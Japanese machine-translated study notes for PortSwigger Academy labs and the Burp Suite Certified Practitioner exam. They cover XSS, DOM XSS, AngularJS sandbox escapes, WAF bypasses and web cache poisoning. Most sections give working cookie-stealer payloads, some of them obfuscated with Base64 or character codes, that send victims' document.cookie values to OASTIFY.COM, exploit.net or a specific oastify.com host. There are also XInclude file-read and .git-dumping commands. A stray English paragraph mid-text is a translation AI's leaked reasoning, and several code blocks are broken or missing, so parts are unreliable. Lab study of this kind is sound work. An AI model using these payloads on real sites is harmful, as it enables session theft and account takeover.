PortSwigger Academyラボ向けの実践的な学習ノートとウォークスルー。Web脆弱性、ペイロード、列挙、BSCP試験対策を網羅しています。
これは、110以上のPortSwigger Academyラボを使用した私の学習ノートです。 これらのラボを使用して、2023年のBurp Suite Certified Practitioner試験に合格しました。 私のBSCP認定資格。
最新の学習教材については、PortSwigger Academyをご覧ください。
スキャニング - 列挙
フォーカススキャン
非標準エンティティのスキャン
足場 - ステージ1
コンテンツ発見
DOM-XSS
XSS クロスサイトスクリプティング
Webキャッシュポイズニング
ホストヘッダー
HTTPリクエストスマグリング
ブルートフォース
認証
権限昇格 - ステージ2
CSRF - アカウント乗っ取り
パスワードリセット
SQLi - SQLインジェクション
JWT - JSON Webトークン
プロトタイプ汚染
APIテスト
アクセス制御
GraphQL APIエンドポイント
CORS - クロスオリジンリソース共有
データ窃取 - ステージ3
XXE - XMLエンティティとインジェクション
SSRF - サーバーサイドリクエストフォージェリ
SSTI - サーバーサイドテンプレートインジェクション
SSPP - サーバーサイドプロトタイプ汚染
試験を受ける前に、Mystery lab challengeをできるだけ多く実施して、スキルを試し、脆弱性を特定するのにかかる時間を短縮することをお勧めします。
試験の再受験に関するPortSwiggerのアドバイスも非常に参考になりました。
2024年のBSCP試験の新しい視点については、CryptoCat - Burp Suite Certified Professional (BSCP) Review + Tips/Tricksをご覧ください。
ご支援いただいたコーヒーに感謝します、
\o/
Webアプリケーションの列挙は、時間制限のあるエンゲージメントでは、初期スキャンと対象を絞ったスキャンから始まります。
エンゲージメントや試験中の厳しい時間制限のため、特定のリクエストに対して定義済みの挿入ポイントをスキャンします。

スキャナーはstoreIdパラメータでXMLインジェクションの脆弱性を検出し、これによりCarlosの秘密ファイルを読み取ることができました。```xml <xi:include parse="text" href="file:///home/carlos/secret"/>
>帯域外 XInclude リクエスト。ローカルファイルを読み取るには、ホストされた DTD が必要です。```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>
Burpの機能を使用して、レスポンスまたはリクエスト内の選択テキストを対象に選択した挿入ポイントをスキャンすることで、非標準データ構造をスキャンします。

Burpスキャナーの問題結果を通じて脆弱性を特定します。
この場合、特定されたXSSを使用して、特定された挿入ポイントにペイロードを構築し、管理者ユーザーのCookieを盗みます。``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART
>キー文字をURLエンコードします。

>管理者ユーザーのクッキーを現在のブラウザセッション内で置き換えて、管理パネルにアクセスします。
[PortSwigger Lab: Scanning non-standard data structures](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)
-----
# 足がかり
# コンテンツ発見
>ターゲットの列挙は、Webディレクトリとファイルのファジングから始まります。Burpエンゲージメントツールのコンテンツディスカバリーオプションを使用して隠しパスやファイルを見つけるか、`FFUF`を使用してWebディレクトリとファイルを列挙します。`robots.txt`や`sitemap.xml`を確認すると、コンテンツが明らかになる場合があります。```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ
Burpエンゲージメントツール、自作のワードリスト burp-labs-wordlist をカスタムファイルリストとして使用したコンテンツ発見。

ローカルにダウンロードしたコピー上で、
git-colaツールを使用してgitリポジトリのブランチを調べます。次に、Undo last commit を選択し、diffウィンドウから管理者パスワードを抽出します。``` wget -r https://TARGET.web-security-academy.net/.git/
git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

[PortSwigger ラボ: バージョン管理履歴における情報漏えい](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
>常に `source code` を開いて、隠しファイルやパスを明らかにする開発者コメントがないか確認すること。下記の例は [Symphony トークンのデシリアライゼーション](#deserialization) につながる。

-----
## DOMベースのXSS
[DOM XSS の兆候](#identify-dom-xss)
[DOM Invader で特定した DOM XSS](#dom-invader)
[DOM XSS AngularJS](#vuln-angularjs)
[DOM XSS select 内の document.write](#doc-write-location-search)
[DOM XSS JSON.parse Web メッセージ](#dom-xss-jsonparse-web-messages)
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)
[DOM XSS AddEventListener Ads メッセージ](#dom-xss-addeventlistener-ads-message)
[DOM XSS Eval で反映される Cookie スティーラー](#reflected-dom-xss)
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)
### DOM-XSS の特定
>DOM ベースの XSS 脆弱性は、JavaScript が攻撃者が制御可能なソース(URL など)からデータを取得し、動的コード実行をサポートするシンクにコードを渡すときに発生します。
>以下のファザー文字列を使って、`source code` インジェクションポイントからエスケープできる文字をテストしてください。```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
ソースコードを確認して、悪用につながる可能性のある ソース、シンク、または メソッド を 特定 します。サンプルリスト:
Dom Invader プラグインを使用し、カナリア値を
domxssなどの値に設定すると、悪用可能な DOM-XSS シンクを検出できます。

以下の AngularJS 式は、山かっこと二重引用符が HTML エンコードされる場合に、検索機能に注入される可能性があります。この脆弱性は、検索文字列が ng-app ディレクティブで囲まれ、
/js/angular 1-7-7.jsスクリプトが含まれていることに注目することで 特定 されます。HTML コードを確認して、AngularJS アプリケーションのルート要素であることを AngularJS に伝えるng-appディレクティブを 特定 します。

PortSwigger ラボのペイロードは以下の通り:```JavaScript {{$on.constructor('alert(1)')()}}
>[Cookieスティーラーのペイロード](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) は `on.constructor` を使用し、iframe 内に配置してエクスプロイトサーバーでホストすることで、被害者のセッション Cookie が Burp Collaborator に送信される結果となります。
>[クロスサイトスクリプティングの参照用 PortSwigger チートシート](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}
Note: XSS を成功させるには、セッションCookieプロパティに HttpOnly セキュアフラグが設定されていない必要があります。

対象は在庫チェック機能でDOM-XSSに対して脆弱です。
source codeは、document.writeがシンクとして使用され、location.searchと共に、<select>ステートメント内にJavaScriptペイロードを含む値を storeId クエリパラメータに追加できることを示しています。

以下のペイロードを使用して、変更されたGETリクエストへのインジェクションを 特定 するためのテストを実行します。エスケープには
">を使用します。```html /product?productId=1&storeId=fuzzer">fuzzer

>DOM XSS [Cookie窃取ペイロード](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md)は、`<select>` 要素内のソース `location.search` を使用する `document.write` シンク内にあります。これは `

iframe の onload 値の末尾にある "*" は、ターゲットが任意であることを示します。
ブラウザの DEV ツールコンソールを使用して、POC XSS のテスト中に使用する安全でないテスト用 Cookie を設定します。
Cookie スティーラーのペイロード.```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

[PortSwigger Lab: Web メッセージと JSON.parse を使用した DOM XSS](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)
>DOM Invader を使用して、Web メッセージを使用した DOM XSS の特定とテストを実施

>JSON データを変更した後、DOM Invader を使用して postMessage をリプレイします。```JSON
{
"type": "load-channel",
"url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

ページの
ソースコードを確認すると、web message のaddeventlistener呼び出しを 特定 できますが、文字列にhttp/sが含まれているかどうかをチェックするif条件があります。

以下のエクスプロイトサーバーでホストされているペイロードには
https文字列が含まれており、if条件チェックのバイパスに成功します。```html

被害者のCookieが更新されると、Exploitサーバーログがその秘密のCookie値を取得します。
>***ShehmeerAbidRajput*** の多大な助けにより、彼が提供してくれたcookie stealerペイロードでこのラボを更新しました。
[PortSwigger ラボ: DOMベースのCookie操作](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)
-----
## クロスサイトスクリプティング
[XSS リソース](#xss-resources)
[許可されたタグの特定](#identify-allowed-tags)
[ブロックされたタグのバイパス](#bypass-blocked-tags)
[XSS プロトコル割り当て](#xss-assign-protocol)
[ブロックされないカスタムタグ](#custom-tags-not-blocked)
[OnHashChange](#onhashchange)
[リフレクション文字列 XSS](#reflected-string-xss)
[リフレクション文字列の追加エスケープ](#reflected-string-extra-escape)
[AngularJS サンドボックス脱出](#angularjs-sandbox-escape)
[XSS テンプレートリテラル](#xss-template-literal)
[JSON 経由の EVAL への XSS](#xss-via-json-into-eval)
[格納型 XSS](#stored-xss)
[格納型 DOM XSS](#stored-dom-xss)
[SVG アップロードでの XSS](#xss-svg-upload)
### XSS リソース
>**タグ**と**イベント**のペイロードを検索するための XSS リソースページ。
+ [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [HackTheBox CPTS Study notes on XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)
>CSP Evaluator は、XSS 攻撃を緩和するためにコンテンツセキュリティポリシーが設定されているかを確認するためのツールです。例えば、`base-uri` が欠落している場合、この脆弱性により攻撃者は [格納型セルフXSSのアップグレード](#upgrade-stored-self-xss) で説明されている代替の悪用手法を使用できるようになります。
+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)
>入力フィールドの最大長がわずか23文字の場合、**Tiny XSS Payloads** にはこのリソースを使用してください。
+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)
>POC XSS [cookie stealer payloads](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md) のテスト中に使用するため、ブラウザのDEVツールコンソールを使用してブラウザに保護されていないテスト用Cookieを設定します。```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";
HTTPリクエストで受信したデータを処理するためのアプリケーション・セキュリティフィルタ制御を識別するための基本的なXSSペイロード。```html
".
Since there's no actual content provided to translate, I should not makе up content. The correct action is to return nothing or indicate empty input. But per rules, I shouldn't add commentary. However, with no input, the safest response is empty.
Actually, let me double-check - the content between "INPUT:" and the end is just whitespace. So there's nothing to translate. I'll return an empty response.```html
"><svg><animatetransform onbegin=alert(1)>
(empty)``` <>'"
>上記のペイロードを送信すると、Web Application Firewall(WAF)がインジェクションをブロックするため、***"Tag is not allowed"*** という応答メッセージが返される場合があります。
>次に、[PortSwigger Academy Methodology](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked) を使用して、許可されたタグを ***特定*** します。
>URLおよびBase64のオンラインエンコーダーとデコーダー
+ [URLデコードとエンコード](https://www.urldecoder.org/)
+ [BASE64デコードとエンコード](https://www.base64encode.org/)
>このラボは、POC XSSを作成するために許可されたHTMLタグとイベントを ***特定*** するための優れた **方法論** を提供します。
>エクスプロイトサーバーに **iframe** コードをホストし、エクスプロイトリンクを被害者に配信します。```html
アプリケーションコントロールは、基本的なXSSペイロードを挿入すると、「タグは許可されていません」 というメッセージを表示しますが、上記の手法を使用してSVGマークアップが許可されていることを発見します。このペイロードはPOCとして自分のセッションCookieを盗みます。```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E
>上記のペイロードをエクスプロイトサーバーに配置し、以下のコードブロック内で被害者に配信する前に、検索値を含むURLを```iframe```に挿入してください。```html

検索機能で何もエンコードされていないHTMLコンテキストへのXSSをテストするラボ。このラボを使用して、PortSwigger XSS research によって 特定された location による割り当て可能なプロトコル
javascriptエクスプロイトをテストします。ペイロード内の%0aは ASCII 改行文字を表しています。```html

[PortSwigger Lab: エンコードされていないHTMLコンテキスト内の反射型XSS](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)
### カスタムタグはブロックされない
>XSSペイロードを挿入しようとすると、アプリケーションはメッセージ ***"タグは許可されていません"*** で応答しますが、カスタムタグを作成するとバイパスされます。```html
<xss+id=x>#x';
特定 レスポンスを観察することで、上記のカスタムタグが検索機能でブロックされていないかどうかを確認します。以下のペイロードを作成して、セッションクッキーを帯域外で窃取します。```
>**注:** ID ```x``` を持つカスタムタグには、```document.location``` 関数をトリガーする **onfocus** イベントハンドラが含まれています。URL 末尾の **ハッシュ** `#` 文字は、ページが読み込まれるとすぐにこの要素にフォーカスを当て、ペイロードが呼び出されるようにします。ペイロードスクリプトをエクスプロイトサーバーの ```script``` タグ内にホストし、被害者に送信します。以下は同じペイロードですが、**URLエンコード** された形式です。```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

以下のiframeは、URLの末尾にあるHASH
#文字を使用して、OnHashChange XSS Cookieスティーラーをトリガーします。```JavaScript
>注: **HttpOnly** フラグが有効に設定された Cookie は、XSS を使用して盗むことはできません。
>PortSwigger Lab のペイロードは print を実行します。```JavaScript
注: hashchange を伴うCSSセレクターアクションを使用して、
source codeに含まれる脆弱なjquery 1.8.2バージョンを 特定 してください。

検索文字列を送信して検索結果ページの
source codeを確認すると、searchTermsという名前の変数を持つJavaScript文字列変数が、source code内で検索文字列tracker.gifを反映していることが特定されます。```html
ペイロード
test'payloadを使用すると、単一引用符がバックスラッシュでエスケープされ、文字列から抜け出せなくなることを確認できます。```JavaScript
>ペイロードを、セッショントークンをBurp Collaboratorへ送信するCookie窃取ツールに変更する。```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

このペイロードを
iframeに配置するとき、ターゲットアプリケーションは埋め込みを許可せず、refused to connectというメッセージを表示します。
BSCP試験では、以下のペイロードをエクスプロイトサーバー上の
<script>タグ内にホストし、その前の以下の検索クエリはURLエンコードされます。```
>検索語が反映される脆弱性をホストするエクスプロイトサーバー。被害者に送信することでセッションクッキーを取得する。```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>
アプリケーションはエラーメッセージ
Tag is not allowedを表示しましたが、これは</ScRiPt >を使用してバイパスされます。
source code内のsearchTermsという名前の変数を確認し、ペイロードfuzzer'payloadを送信すると、一重引用符がバックスラッシュでエスケープされているのがわかります。その後、fuzzer\payloadペイロードを送信して、バックスラッシュがエスケープされていないことを確認してください。``` '-alert(1)//
fuzzer';console.log(12345);//
fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//
>単一の**バックスラッシュ**、シングルクォートおよび**セミコロン**を使用してJavaScript文字列変数からエスケープし、次にバッククォートを使用して```document.location```パスを囲むことで、クッキースティーラーがアプリケーション保護をバイパスできるようにします。```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//
Trevor の助けを借りて、これをバッククォートを使ったクッキースティーラーペイロードにしました。Trevor ありがとう。彼の YouTube のウォークスルーはこちら XSS JavaScript String Angle Brackets Double Quotes Encoded Single

エキスパート向け PortSwigger ラボ演習。AngularJS 1.4.4 を使用しており、1.x 系はサポート終了に達したため、もはやメンテナンスされていません。
このラボは AngularJS を通常とは異なる方法で使用しており、$eval関数は利用できず、AngularJS 内で文字列を一切使用できません。
目的: サンドボックスを回避し、$eval関数を使用せずにペイロードを実行するクロスサイトスクリプティング攻撃を実行すること。
特定: JavaScript ソースコード内の
angular.moduleを特定します。

変数
keyの値searchは、動的に生成された JavaScript に注入されます。
ここに明らかなセキュリティ上の問題はありません。ただし、このコードのセキュリティは、このコントローラーと抽出された値がバックエンドでどのように使用されるかに依存します。
$parseメソッドは AngularJS 式$scope.queryを評価します。
&を使用して2番目のキーと値のペアを追加し、生成された動的コードをペイロードでテストします。

2番目に追加したキーと値のペアの名前を式に変更し、評価されるかどうかを確認します。
/?search=key1value&7*7=payloadで、計算結果は 49 になります。

2番目のキー名として
alert()を使用すると、AngularJS がパーサーを介してコードをコンパイルする方法により、ペイロードの構築は失敗します。
PortSwigger CheatSheet リファレンス: Sandbox 1.4.4 の回避``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
>Collaborator ペイロード ***Cookie スティーラー***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)
上記のペイロード文字列内の各文字のASCII 10進値をカンマで区切ったものです。各数値は、ペイロード文字列内の対応する文字のASCII 10進値を表します。``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41
>任意のペイロードをASCIII 10進数値に変換するPythonスクリプト:```python
import sys
print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
print("Usage: Python ascii_converter.py 'Payload_String'")
sys.exit(1)
input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]
output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

PortSwiggerのソリューション手順に基づく、ASCII 10進数値のCookie Stealerペイロード(サンドボックスを介して実行されるAngularJS式):
toString() を使用して引用符を使わずに文字列を作成します。charAt 関数を上書きします。orderBy フィルタに配列を渡すことが可能になります。toString() を使用して文字列を作成し、Stringコンストラクタのプロパティを使用します。fromCharCode メソッドを使用して、文字コードをペイロード例 x=alert(1) に変換することでペイロードを生成します。charAt 関数が上書きされたため、AngularJSはこのコードがサンドボックスをエスケープすることを許可します。
JavaScriptのテンプレートリテラルは、文字列を囲むために使用されるバックティック ` によって識別されます。ターゲットコードでは、検索文字列がテンプレートリテラル文字列内に反映されていることを識別します。``` ${alert(document.cookie)}

>***Adrián Gyurácz*** 氏に感謝します。このラボのすべてのフィルタを回避する動作するクッキースティーラーのバイパスを入手できずにいた私に、素晴らしいバイパスを提供してくれました。
>***Adrián Gyurácz*** 氏は、解決につながる以下のPortswiggerの調査記事を見つけました:
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
#### 上記を基にした彼のペイロード:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}
元のラボセッションCookieには保護フラグが付いているため、彼は概念実証用のテストダミーCookieを作成しました:

検索機能でペイロードを送信した後、Cookieスティーラーのヒットが得られました:

彼の研究が他の人にも役立つことを願っています。私のガイドにも含めています。Tx。
この PortSwigger Practice Exam APP は検索機能を実行しており、DOM Invaderは
eval()関数内のシンクを 特定 します。検索結果はJSONコンテンツタイプに配置されます。

JSONデータからエスケープをテストし、テストペイロード"-prompt(321)-"をJSONコンテンツに注入します。

"-alert(document.cookie)-"というペイロードを使って自分のセッションCookie値を取得しようとすると、"Potentially dangerous search term"というフィルターメッセージが返されます。
WAFは危険な検索フィルターとタグをブロックしているため、JavaScriptのグローバル変数を使用してWAFフィルターをバイパスします。```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"
[secjuice: JavaScriptのグローバル変数を使用してXSSフィルタをバイパスする](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)
>以下は、BASE 64エンコード前のメインの[cookie stealerペイロード](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md)です。```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])
次に、上記のCookie窃取ペイロードをBase64エンコードした値を使用してペイロードをエンコードします。``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==
>Search機能で自分のセッションCookieにペイロードをテストします。```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
上記のペイロード組み立て段階の解説:
この画像は、
Deliver exploit to victimにペイロードを設定する前に、Burp Collaborator が概念実証として私の cookie 値を受信している様子を示しています。

URL Encode を使用して、このペイロードのすべての文字をエンコードし、
/?SearchTerm=パラメータの値として使用します。```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
>エクスプロイトサーバーで `IFRAME` をホストすると、ターゲットへの接続を拒否する **エラー** メッセージが表示されます。代わりに、ペイロードを `<script>` タグの間にエクスプロイトサーバーでホストしてください。```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

注記: アクティブユーザーがコラボレーターにHTTPリクエストを送信しない場合は、
Deliver exploit to victimを数回実行してください。現在のCookie値を盗んだCookieに置き換えてアクティブユーザーになりすまし、演習試験のステージ2 に進みます。
保存型XSSはブラインドXSSにもなり得ます。
alertペイロードがトリガーしない場合は、NahamSecのBlind XSS動画 の被害者にクリックさせるペイロードを参照してください。例:<svg/onload=import('//EXPLOIT.net/blind_xss')>
保存された入力がリンクをクリックした被害者をリダイレクトする場合、エクスプロイトサーバーにリクエストが送信されます。
次のサンプルコードを使用して、保存型XSSを 特定 してください。```HTML![]()
>以下のログエントリは、エクスプロイトサーバーに対して行われたリクエストを示しています。ログから、上記のタグのうち `/img` と `/video` がアプリケーションで許可されており、アクセスされた際にリクエストが行われたことを***特定***できます。

>ブログ投稿のコメントに保存されたクロスサイトスクリプティング。このCookie窃取ペイロードは、被害者のセッションCookieをエクスプロイトサーバーのログに送信します。```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/main/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">
製品とストアの検索```html ?productId=1&storeId=">
#### 保存型XSSブログ投稿
>保存型XSSブログ投稿のCookie窃取ツールで、document.cookieをエクスプロイトサーバーに送信します。```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>
以下のターゲットには、ブログのコメント機能に格納型XSSの脆弱性があります。投稿されたコメントを閲覧する被害者のユーザーセッションCookieを盗み、そのCookieを使ってなりすましを行ってください。

ブログ投稿コメント内のFetch API JavaScript Cookie Stealerペイロード。```JavaScript
>[HackTheBox Bookwormを使用したIPPSEC YouTube](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737)では、`payload.js` JavaScriptコードが紹介されており、彼が`fetch`をどのように使用し、JavaScriptを学習しているかが示されています。
[PortSwigger Lab: クロスサイトスクリプティングを悪用してCookieを盗む](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
#### 保存型セルフXSSのアップグレード
>**保存型セルフXSS**を含むブログコメント。ペイロードをアップグレードして、DOMから被害者の情報を盗みます。**edit content**関数は`<script>`タグ内の入力を反映します。**write comment**のCSRFトークンは**edit content**関数と同じです。以下のペイロードは**write comment**関数を使用して、被害者に自分のブログへ悪意のあるコンテンツを含むブログエントリを作成させます。
>`a`文字は、初期アプリケーション`source code`の`#`ハッシュ文字をエスケープするために追加されます。
>ブログエントリ内の以下の`source code`は、被害者の情報を盗むための完全なエクスプロイトです。```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>
このターゲットは、
share_buttonという名前の変数を上書きする HTML インジェクションを構築することで悪用されます。下記のsource codeを参照し、上記の HTML コードを使用します。コンテンツはページにリフレクトされ、このリフレクションを使用して、meta http-equivタグで 1 秒後にページをリフレッシュさせることで、被害者の/editページへのリダイレクトを可能にします。
>上記のブログエントリを参照するURLを被害者に送信することでエクスプロイトを配信し、被害者としてXSSをトリガーします。
[intigriti - Self-XSSアップグレード - 2022年12月XSSチャレンジの解法](https://youtu.be/FowbZ8IlU7o)
>Edit ContentブログエントリページでのHTMLインジェクションを利用した代替エクスプロイト、[XSS Resources CSPチェック](#xss-resources)を使用して***特定***。```
<base href="https://Exploit.net">
Exploitサーバー上にJSファイルを
static/js/bootstrap.bundle.min.jsとしてホストし、内容は次の通り:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)
>修正されたPortSwiggerラボのペイロードは、次回ページが読み込まれるときに `document.location` 関数を変数 `defaultAvatar` に割り当てます。これは、サイトがDOMPurifyを使用しており、`cid:` プロトコルの使用を許可しているためです。`cid:` プロトコルは二重引用符をURLエンコードしません。```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">
JavaScriptの
source code内に含まれるスクリプトresources/js/loadCommentsWithVulnerableEscapeHtml.jsで、カスタムloadComments関数内のhtml.replace()関数を 特定します。ペイロードをテストすると、この関数が<>の最初の出現のみを置換することがわかります。
```html
<>
>上記のペイロードが保存され、コメントブログを訪れたユーザーは、セッションCookieが盗まれて Collaborator に送信される結果となります。

>PortSwigger Lab のペイロード: `<>`.
[PortSwigger Lab: 保存型DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)
-----
## Webキャッシュポイズニング
[キーなしヘッダー](#unkeyed-header)
[キーなしの Utm_content](#unkeyed-utm_content)
[utm_content のクローキング](#cloaking-utm_content)
[曖昧なリクエストのポイズニング](#poison-ambiguous-request)
[複数ヘッダーによるキャッシュポイズニング](#cache-poison-multiple-headers)
### キーなしヘッダー
>対象は **tracking.js** というJavaScriptを使用しており、
>**```X-Forwarded-Host```** または **```X-Host```** ヘッダーがパスをリダイレクトするという脆弱性があり、
>キャッシュをポイズニングすることでCookieを盗むことができます。
>***特定する:*** レスポンス内のWebキャッシュヘッダーと、ページのソースコード内のtracking.jsスクリプトを確認します。
>JavaScriptをホストし、ヘッダーを注入して対象のキャッシュをポイズニングし、訪問する被害者をリダイレクトさせることで、この脆弱性を悪用します。
```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

エクスプロイトサーバー上でホスティングし、リクエストに
X-Forwarded-Hostヘッダーを注入して、被害者が汚染キャッシュにヒットするまでキャッシュを汚染します。``` /resources/js/tracking.js

>本文はセッションCookieをコラボレーションサービスに送信します。```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;
X-Forwarded-Hostヘッダーを使用してリクエストを再送信して、ターゲットの Web キャッシュをポイズニングし続けます。

上記のラボペイロードをエクスプロイトサーバー上で変更し、被害者がバックエンドサーバーのキャッシュエントリにヒットしたときに被害者の Cookie を盗むようにした YouTube ビデオ。ペイロードは上記の JavaScript です。
ターゲットは、キャッシュキーから特定のパラメータを除外しているため、Web キャッシュポイズニングに対して脆弱です。Param Miner の「Guess GET parameters」機能は、そのパラメータを utm_content として特定します。
```
GET /?utm_content='/>
>上記のペイロードはキャッシュされ、被害者が訪問するとターゲットのCookieがBurp Collaboratorに送信されます。

[PortSwigger Lab: キーなしクエリパラメータによるWebキャッシュポイズニング](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)
### utm_contentのクローキング
>Param Miner拡張機能で`Bulk scan > Rails parameter cloaking scan`を実行すると、脆弱性を自動的に***識別***します。手動では、`;`を追加して`utm_content`に別のパラメータを付加することで識別できます。キャッシュはこれを単一のパラメータとして扱います。つまり、追加のパラメータもキャッシュキーから除外されます。
>`/js/geolocate.js?callback=setCountryCookie`の`ソースコード`はすべてのページで呼び出され、コールバック関数を実行します。
